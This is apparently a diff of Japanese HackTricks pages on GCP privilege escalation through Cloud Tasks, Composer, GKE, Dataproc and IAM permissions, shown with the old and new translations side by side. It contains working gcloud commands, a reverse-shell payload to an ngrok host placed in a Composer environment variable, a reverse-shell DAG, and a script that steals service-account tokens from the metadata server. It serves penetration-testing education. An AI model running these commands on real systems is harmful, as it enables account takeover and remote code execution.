### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
|
||||
|
||||
これらの権限を持つ攻撃者は、**サービスアカウントに対する権限がなくても、既存のスケジュールされたタスクを実行**できます。これにより、以前により高い権限を持つサービスアカウントで作成されたタスクを実行することが可能になります。
|
||||
これらの権限を持つ攻撃者は、タスクに関連付けられたサービスアカウントの権限がなくても、**既存のスケジュール済みタスクを実行**できます。これにより、より高い権限を持つサービスアカウントで以前に作成されたタスクを実行することが可能になります。
|
||||
|
||||
<details><summary>actAs permissionなしで既存の Cloud Task を実行</summary>
|
||||
```bash
|
||||
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
|
||||
```
|
||||
このコマンドを実行する主体は、タスクのサービスアカウントに対して **`iam.serviceAccounts.actAs` 権限** を必要としません。しかし、これは既存のタスクを実行することのみを許可し、タスクを作成または変更する能力は付与しません。
|
||||
</details>
|
||||
|
||||
このコマンドを実行するプリンシパルは、タスクのサービスアカウントに対して **`iam.serviceAccounts.actAs` 権限を持つ必要はありません**。ただし、これは既存のタスクを実行できるだけで、新しいタスクの作成や既存タスクの変更権限は付与されません。
|
||||
|
||||
### `cloudtasks.queues.setIamPolicy`
|
||||
|
||||
この権限を持つ攻撃者は、特定のキューに対して **自分自身または他の主体に Cloud Tasks の役割を付与** することができ、`roles/cloudtasks.admin` に昇格する可能性があります。これにはタスクを作成および実行する能力が含まれます。
|
||||
この権限を持つ攻撃者は、特定のキューに対して**自分自身や他のプリンシパルに Cloud Tasks のロールを付与する**ことができ、最終的にタスクの作成・実行が可能な `roles/cloudtasks.admin` にエスカレーションする可能性があります。
|
||||
|
||||
<details><summary>キューに Cloud Tasks admin ロールを付与する</summary>
|
||||
```bash
|
||||
gcloud tasks queues add-iam-policy-binding \
|
||||
<queue_name> \
|
||||
@@ -36,9 +46,11 @@ gcloud tasks queues add-iam-policy-binding \
|
||||
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
|
||||
--role roles/cloudtasks.admin
|
||||
```
|
||||
これにより、攻撃者は自分が制御する任意のサービスアカウントに対して、キューの完全なCloud Tasks管理権限を付与できます。
|
||||
</details>
|
||||
|
||||
## 参考文献
|
||||
これにより攻撃者は、制御する任意のサービスアカウントに対して、そのキューに対する Cloud Tasks のフル管理者権限を付与できます。
|
||||
|
||||
## 参考資料
|
||||
|
||||
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## composer
|
||||
|
||||
詳細情報は以下を参照してください:
|
||||
詳細情報:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-composer-enum.md
|
||||
@@ -12,18 +12,24 @@
|
||||
|
||||
### `composer.environments.create`
|
||||
|
||||
その権限を持つ新しく作成されたcomposer環境に**任意のサービスアカウント**を添付することが可能です。後で、composer内でコードを実行してサービスアカウントトークンを盗むことができます。
|
||||
その権限により、新規に作成する composer 環境に**任意の service account を割り当てる**ことが可能です。後で composer 内でコードを実行して、その service account の token を盗むことができます。
|
||||
|
||||
<details><summary>service account を付与した Composer 環境を作成する</summary>
|
||||
```bash
|
||||
gcloud composer environments create privesc-test \
|
||||
--project "${PROJECT_ID}" \
|
||||
--location europe-west1 \
|
||||
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
|
||||
```
|
||||
より詳しい情報は[**こちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh)で確認できます。
|
||||
</details>
|
||||
|
||||
エクスプロイトの詳細は[**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh)。
|
||||
|
||||
### `composer.environments.update`
|
||||
|
||||
composer 環境を更新することが可能で、例えば、env 変数を変更することができます:
|
||||
composer 環境を更新することが可能です。例えば、環境変数を変更するなど:
|
||||
|
||||
<details><summary>Composer 環境変数を更新して code execution を行う</summary>
|
||||
```bash
|
||||
# Even if it says you don't have enough permissions the update happens
|
||||
gcloud composer environments update \
|
||||
@@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0
|
||||
|
||||
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
|
||||
```
|
||||
TODO: 環境に新しいpypiパッケージを追加してRCEを取得する
|
||||
</details>
|
||||
|
||||
### Dagsのダウンロード
|
||||
TODO: 新しい pypi パッケージを環境に追加して RCE を取得する
|
||||
|
||||
実行中のdagsのソースコードを確認します:
|
||||
### Dags をダウンロード
|
||||
|
||||
実行されている dags のソースコードを確認する:
|
||||
|
||||
<details><summary>Composer environment から DAGs をエクスポートしてダウンロードする</summary>
|
||||
```bash
|
||||
mkdir /tmp/dags
|
||||
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
|
||||
```
|
||||
### Import Dags
|
||||
</details>
|
||||
|
||||
Python DAG コードをファイルに追加し、次のように実行してインポートします:
|
||||
### Dags のインポート
|
||||
|
||||
python DAG code をファイルに追加し、実行してインポートします:
|
||||
|
||||
<details><summary>Composer 環境に悪意のある DAG をインポート</summary>
|
||||
```bash
|
||||
# TODO: Create dag to get a rev shell
|
||||
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
|
||||
```
|
||||
リバースシェルDAG:
|
||||
```python:reverse_shell.py
|
||||
</details>
|
||||
|
||||
Reverse shell の DAG:
|
||||
|
||||
<details><summary>Python DAG の reverse shell code</summary>
|
||||
```python
|
||||
import airflow
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash_operator import BashOperator
|
||||
@@ -94,11 +112,13 @@ depends_on_past=False,
|
||||
priority_weight=2**31 - 1,
|
||||
do_xcom_push=False)
|
||||
```
|
||||
### Composerバケットへの書き込みアクセス
|
||||
</details>
|
||||
|
||||
Composer環境のすべてのコンポーネント(DAG、プラグイン、データ)はGCPバケット内に保存されています。攻撃者がそれに対して読み取りおよび書き込み権限を持っている場合、バケットを監視し、**DAGが作成または更新されるたびに、バックドア付きのバージョンを提出する**ことができるため、Composer環境はストレージからバックドア付きのバージョンを取得します。
|
||||
### Composer バケットへの書き込みアクセス
|
||||
|
||||
この攻撃の詳細については、以下を参照してください:
|
||||
Composer 環境のすべてのコンポーネント(DAGs、plugins、データ)は GCP バケット内に格納されています。攻撃者がそのバケットに対する読み取りおよび書き込み権限を持っていれば、バケットを監視して、**DAG が作成または更新されるたびに backdoored バージョンを提出する**ことで、Composer 環境がストレージから backdoored バージョンを取得するようにできます。
|
||||
|
||||
Get more info about this attack in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
@@ -106,10 +126,10 @@ gcp-storage-privesc.md
|
||||
|
||||
### プラグインのインポート
|
||||
|
||||
TODO: プラグインをアップロードすることで妥協できることを確認する
|
||||
TODO: プラグインをアップロードすることで何が侵害可能か確認する
|
||||
|
||||
### データのインポート
|
||||
|
||||
TODO: データをアップロードすることで妥協できることを確認する
|
||||
TODO: データをアップロードすることで何が侵害可能か確認する
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,21 +1,27 @@
|
||||
# GCP - コンテナ特権昇格
|
||||
# GCP - Container Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## コンテナ
|
||||
## container
|
||||
|
||||
### `container.clusters.get`
|
||||
|
||||
この権限は、次のような方法で**Kubernetes クラスターの資格情報を収集する**ことを許可します:
|
||||
この権限により、次のような方法で**Kubernetes クラスターの認証情報を収集**できます:
|
||||
|
||||
<details><summary>Kubernetes クラスターの認証情報を取得</summary>
|
||||
```bash
|
||||
gcloud container clusters get-credentials <cluster_name> --zone <zone>
|
||||
```
|
||||
権限がなくても、資格情報は非常に基本的で、**いくつかのリソースをリストすることができます**が、環境内の設定ミスを見つけるのに役立ちます。
|
||||
</details>
|
||||
|
||||
追加の権限がなければ、その資格情報はかなり基本的なもので、**リソースを一覧表示するだけ**の場合が多いですが、環境の設定ミスを見つけるのに役立ちます。
|
||||
|
||||
> [!NOTE]
|
||||
> **Kubernetes クラスターはプライベートに設定されている可能性がある**ため、インターネットから Kube-API サーバーへのアクセスが禁止されます。
|
||||
> 注: **kubernetes clusters がプライベートに構成されている場合があります**。その場合、インターネットから Kube-API サーバーへのアクセスは許可されません。
|
||||
|
||||
この権限がない場合でもクラスターにアクセスできますが、**クラスターの情報を含む独自の kubectl 設定ファイルを作成する必要があります**。新しく生成されたものは次のようになります:
|
||||
この権限がない場合でもクラスターにアクセスできますが、クラスター情報を使って **自分専用の kubectl config file を作成する** 必要があります。新しく生成されたものは次のようになります:
|
||||
|
||||
<details><summary>例: kubectl config file for GKE cluster</summary>
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
clusters:
|
||||
@@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}"
|
||||
token-key: "{.credential.access_token}"
|
||||
name: gcp
|
||||
```
|
||||
</details>
|
||||
|
||||
### `container.roles.escalate` | `container.clusterRoles.escalate`
|
||||
|
||||
**Kubernetes**はデフォルトで、プリンシパルが**Roles**や**ClusterRoles**を**より多くの権限**で**作成**または**更新**することを**防ぎます**。しかし、権限を持つ**GCP**のプリンシパルは、実際には自分が持っている権限よりも**多くの権限**を持つ**Roles/ClusterRolesを作成/更新**することができ、Kubernetesのこの動作に対する保護を効果的に回避します。
|
||||
**Kubernetes** はデフォルトで、プリンシパルが自身が持つ権限よりも多い権限を持つ **Roles** や **ClusterRoles** を **作成(create)** または **更新(update)** できないように **制限**します。しかし、**GCP** のプリンシパルがこれらの権限を持っていると、自身が保持しているものより多い権限を持つ Roles/ClusterRoles を作成/更新でき、Kubernetes のこの保護を実質的に回避できます。
|
||||
|
||||
**`container.roles.create`**および/または**`container.roles.update`**または**`container.clusterRoles.create`**および/または**`container.clusterRoles.update`**も、これらの特権昇格アクションを実行するために**必要です**。
|
||||
`container.roles.create` および/または `container.roles.update`、または `container.clusterRoles.create` および/または `container.clusterRoles.update` が、それぞれこれらの特権昇格アクションを実行するために **さらに必要** です。
|
||||
|
||||
### `container.roles.bind` | `container.clusterRoles.bind`
|
||||
|
||||
**Kubernetes**はデフォルトで、プリンシパルが**RoleBindings**や**ClusterRoleBindings**を**より多くの権限**で**作成**または**更新**することを**防ぎます**。しかし、権限を持つ**GCP**のプリンシパルは、実際には自分が持っている権限よりも**多くの権限**を持つ**RolesBindings/ClusterRolesBindingsを作成/更新**することができ、Kubernetesのこの動作に対する保護を効果的に回避します。
|
||||
**Kubernetes** はデフォルトで、プリンシパルが自身の持つ権限より多い権限を付与する **RoleBindings** や **ClusterRoleBindings** を **作成(create)** または **更新(update)** できないように **制限**します。しかし、**GCP** のプリンシパルがこれらの権限を持っていると、自身が持つ権限より多い権限を持つ RoleBindings/ClusterRoleBindings を作成/更新でき、Kubernetes の保護を回避できます。
|
||||
|
||||
**`container.roleBindings.create`**および/または**`container.roleBindings.update`**または**`container.clusterRoleBindings.create`**および/または**`container.clusterRoleBindings.update`**も、これらの特権昇格アクションを実行するために**必要です**。
|
||||
`container.roleBindings.create` および/または `container.roleBindings.update`、または `container.clusterRoleBindings.create` および/または `container.clusterRoleBindings.update` が、それぞれこれらの特権昇格を行うために必要です。
|
||||
|
||||
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
|
||||
|
||||
これらのすべての権限は、**リソースを作成または更新**することを可能にし、**pod**を**定義**することができます。podを定義することで、**SA**を**添付**し、**実行**する**イメージ**を指定できるため、**SAのトークンをあなたのサーバーに**エクスフィルトレートするイメージを実行することができ、任意のサービスアカウントに昇格することができます。\
|
||||
詳細については、次を確認してください:
|
||||
これらの権限はすべて、pod を定義できるリソースを **作成または更新** することを可能にします。pod を定義する際にアタッチされる **SA** と実行する **image** を指定できるため、SA の **token** を外部サーバへ **exfiltrate** するようなイメージを実行して、任意の Service Account にエスカレーションすることが可能です。\
|
||||
For more information check:
|
||||
|
||||
GCP環境にいるため、**メタデータ**サービスから**ノードプールGCP SA**を**取得**し、**GCPで権限を昇格**することもできます(デフォルトではコンピュートSAが使用されます)。
|
||||
GCP 環境にいる場合、metadata サービスから **nodepool GCP SA** を取得して、GCP における権限をエスカレートすることもできます(デフォルトでは compute SA が使用されます)。
|
||||
|
||||
### `container.secrets.get` | `container.secrets.list`
|
||||
|
||||
[**このページで説明されているように**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)、これらの権限を使用すると、すべての**KubernetesのSAのトークン**を**読み取る**ことができるため、それらに昇格することができます。
|
||||
As [**explained in this page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets)これらの権限があれば、Kubernetes のすべての **SAs** の **tokens** を **読み取る** ことができ、それらに対してエスカレーションできます。
|
||||
|
||||
### `container.pods.exec`
|
||||
|
||||
この権限を持つことで、**podにexec**することができ、**KubernetesのSAにアクセス**してK8s内で権限を昇格させることができますが、**NodePoolのGCPサービスアカウントを**も**盗む**ことができ、**GCPで権限を昇格**させることができます。
|
||||
この権限があれば **pods** に対して **exec** でき、pod 内で動作するすべての **Kubernetes SAs** にアクセスして K8s 内での権限昇格が可能になります。さらに、**NodePool** の **GCP Service Account** を盗み、GCP での権限をエスカレートすることもできます。
|
||||
|
||||
### `container.pods.portForward`
|
||||
|
||||
[**このページで説明されているように**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller)、これらの権限を使用すると、**pod**で実行されている**ローカルサービスにアクセス**でき、**Kubernetesで権限を昇格**させることができるかもしれません(そして、**GCP**でメタデータサービスにアクセスできる場合)。
|
||||
このページで説明されているように、これらの権限があれば pod 内で動作しているローカルサービスにアクセスでき、それにより **Kubernetes**(場合によっては metadata サービスに到達できれば **GCP**)での権限昇格につながる可能性があります。
|
||||
|
||||
### `container.serviceAccounts.createToken`
|
||||
|
||||
**権限の名前**から、**K8sサービスアカウントのトークンを生成することを許可する**ように見えますので、Kubernetes内の**任意のSAに昇格**することができるでしょう。しかし、使用するAPIエンドポイントを見つけることができなかったので、見つけたら教えてください。
|
||||
権限名からは、K8s Service Accounts の **token** を生成できるように見えるため、Kubernetes 内の任意の **SA** に対して **privesc** できそうに思えます。しかし、それを利用する API エンドポイントは見つかりませんでした。見つけたら教えてください。
|
||||
|
||||
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
|
||||
|
||||
これらの権限はKubernetesで権限を昇格させることを可能にするかもしれませんが、より可能性が高いのは、**クラスターに持続するために悪用する**ことができるかもしれません。\
|
||||
詳細については、[**このリンクを参照してください**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller)。
|
||||
これらの権限は Kubernetes での権限昇格を引き起こす可能性がありますが、より現実的にはクラスタ内に **persist** するために悪用される可能性が高いです。\
|
||||
For more information [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,17 +10,19 @@
|
||||
|
||||
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
この方法を使用してリバースシェルを取得することはできませんでしたが、以下に説明する方法を使用してメタデータエンドポイントからSAトークンを漏洩させることが可能です。
|
||||
この方法ではreverse shellを取得できませんでしたが、以下に示す方法を使ってmetadata endpointからSA tokenをleakすることは可能です。
|
||||
|
||||
#### 攻撃手順
|
||||
#### 悪用手順
|
||||
|
||||
- GCPバケットにジョブスクリプトを配置する
|
||||
- ジョブスクリプトをGCP Bucketに配置する
|
||||
|
||||
- Dataprocクラスターにジョブを送信する。
|
||||
- Dataprocクラスタにジョブを送信する
|
||||
|
||||
- ジョブを使用してメタデータサーバーにアクセスする。
|
||||
- ジョブを使ってmetadata serverにアクセスする
|
||||
|
||||
- クラスターによって使用されるサービスアカウントトークンを漏洩させる。
|
||||
- クラスタで使用されるservice account tokenをleakする
|
||||
|
||||
<details><summary>metadata serverからSA tokenを取得するPythonスクリプト</summary>
|
||||
```python
|
||||
import requests
|
||||
|
||||
@@ -41,7 +43,9 @@ return None
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
</details>
|
||||
|
||||
<details><summary>Dataproc cluster に悪意のあるジョブを送信する</summary>
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
@@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
IAMに関する詳細情報は以下を参照してください:
|
||||
Find more information about IAM in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,40 +12,52 @@ IAMに関する詳細情報は以下を参照してください:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
上記の権限を持つ攻撃者は、あなたに割り当てられたロールを更新し、他のリソースへの追加権限を付与することができます:
|
||||
記載された権限を持つ攻撃者は、あなたに割り当てられたロールを更新して、次のような他のリソースに対する追加の権限を付与することができます:
|
||||
|
||||
<details><summary>IAMロールを更新して権限を追加する</summary>
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
ここに**脆弱な環境の作成、悪用、クリーンアップを自動化するスクリプト**があります。また、この特権を悪用するためのPythonスクリプトは[**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)です。詳細については、[**元の研究**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を確認してください。
|
||||
</details>
|
||||
|
||||
脆弱な環境の作成、exploit、クリーンアップを自動化するスクリプトは**here**にあり、この権限を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)にあります。詳しくは[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
言及された権限を持つ攻撃者は、**サービスアカウントに属するアクセストークンを要求することができる**ため、私たちよりも多くの権限を持つサービスアカウントのアクセストークンを要求することが可能です。
|
||||
前述の権限を持つ攻撃者は、Service Account に属する access token を要求できるため、我々より権限の高い Service Account の access token を取得することが可能です。
|
||||
|
||||
<details><summary>Service Account を impersonate して access token を取得</summary>
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
スクリプトを自動化するための[**脆弱な環境の作成、悪用、クリーンアップはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh)で見つけることができ、特権を悪用するためのPythonスクリプトは[**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)です。詳細については、[**元の研究**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を確認してください。
|
||||
脆弱な環境の作成、エクスプロイト、クリーンアップを自動化するスクリプトは[**こちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh)にあり、この権限を悪用する Python スクリプトは[**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)にあります。詳細は[**オリジナルの調査**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
前述の権限を持つ攻撃者は、**サービスアカウントのユーザー管理キーを作成する**ことができ、これによりそのサービスアカウントとしてGCPにアクセスできるようになります。
|
||||
前述の権限を持つ攻撃者は、**Service Account 用のユーザー管理キーを作成する**ことができ、これによりその Service Account として GCP にアクセスできます。
|
||||
|
||||
<details><summary>Service Account キーを作成して認証する</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
スクリプトを自動化するための[**脆弱な環境の作成、悪用、クリーンアップはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh)で見つけることができ、特権を悪用するためのPythonスクリプトは[**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)にあります。詳細については、[**元の研究**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を確認してください。
|
||||
</details>
|
||||
|
||||
**`iam.serviceAccountKeys.update`はSAのキーを変更するためには機能しない**ことに注意してください。これを行うには、`iam.serviceAccountKeys.create`の権限も必要です。
|
||||
脆弱な環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh)を自動化するスクリプトや、この権限を悪用するpythonスクリプト[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)が見つかります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
|
||||
注意:**`iam.serviceAccountKeys.update` は SA のキーを変更するためには動作しません**。そのためには `iam.serviceAccountKeys.create` の権限も必要です。
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
**`iam.serviceAccounts.implicitDelegation`**の権限を持つサービスアカウントが、別のサービスアカウントに対して**`iam.serviceAccounts.getAccessToken`**の権限を持っている場合、implicitDelegationを使用して**その第三のサービスアカウントのトークンを作成することができます**。説明を助けるための図は以下の通りです。
|
||||
もしあなたが、ある Service Account に対して **`iam.serviceAccounts.implicitDelegation`** の権限を持っており、その Service Account が第三の Service Account に対して **`iam.serviceAccounts.getAccessToken`** の権限を持っているなら、implicitDelegation を使ってその第三の Service Account のトークンを作成することができます。以下は説明用の図です。
|
||||
|
||||

|
||||
|
||||
[**ドキュメント**](https://cloud.google.com/iam/docs/understanding-service-accounts)によると、`gcloud`の委任は[**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken)メソッドを使用してトークンを生成するためにのみ機能します。したがって、APIを直接使用してトークンを取得する方法は以下の通りです:
|
||||
[**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) によると、`gcloud` の delegation は [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) メソッドを使ってトークンを生成する場合にのみ動作します。したがって、API を直接使ってトークンを取得する方法は次のとおりです:
|
||||
|
||||
<details><summary>API を使って委任でアクセストークンを生成する</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -56,23 +68,27 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
スクリプトを見つけることができます [**脆弱な環境の作成、悪用、クリーンアップの自動化はこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) と、この特権を悪用するためのPythonスクリプト [**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py)。詳細については、[**元の研究を確認してください**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
|
||||
</details>
|
||||
|
||||
この脆弱環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh)を作成・悪用・クリーンアップする作業を自動化するスクリプトと、この特権を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
言及された権限を持つ攻撃者は、**GCPで任意のペイロードに署名することができる**。したがって、**SAの署名されていないJWTを作成し、それをブロブとして送信してターゲットにしているSAによってJWTに署名させることが可能です**。詳細については、[**こちらをお読みください**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)。
|
||||
上記の権限があれば、攻撃者は GCP 上で任意のペイロードに**署名することが可能**です。したがって、対象の SA の署名を得るために、まず SA の未署名 JWT を**作成してそれを blob として送信し、JWT を署名させる**ことが可能になります。詳細は[**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)を参照してください。
|
||||
|
||||
スクリプトを見つけることができます [**脆弱な環境の作成、悪用、クリーンアップの自動化はこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) と、この特権を悪用するためのPythonスクリプト [**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) と [**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py)。詳細については、[**元の研究を確認してください**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
|
||||
この脆弱環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh)を作成・悪用・クリーンアップする作業を自動化するスクリプトと、この特権を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py)および[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
言及された権限を持つ攻撃者は、**適切に形成されたJSONウェブトークン(JWT)に署名することができる**。前の方法との違いは、**JWTを含むブロブにGoogleに署名させるのではなく、すでにJWTを期待しているsignJWTメソッドを使用することです**。これにより使用が容易になりますが、任意のバイトではなくJWTのみを署名できます。
|
||||
上記の権限があれば、攻撃者は**適切に構成された JSON web tokens (JWTs) に署名する**ことができます。前の方法との違いは、**JWT を含む blob に対して google に署名させる代わりに、元から JWT を期待する signJWT メソッドを使用する**点です。これにより使いやすくなりますが、任意のバイト列ではなく JWT のみ署名できます。
|
||||
|
||||
スクリプトを見つけることができます [**脆弱な環境の作成、悪用、クリーンアップの自動化はこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) と、この特権を悪用するためのPythonスクリプト [**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py)。詳細については、[**元の研究を確認してください**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
|
||||
この脆弱環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh)を作成・悪用・クリーンアップする作業を自動化するスクリプトと、この特権を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
言及された権限を持つ攻撃者は、**サービスアカウントにIAMポリシーを追加することができる**。これを悪用して、**サービスアカウントを偽装するために必要な権限を自分に付与することができます**。次の例では、興味のあるSAに対して`roles/iam.serviceAccountTokenCreator`ロールを自分に付与しています:
|
||||
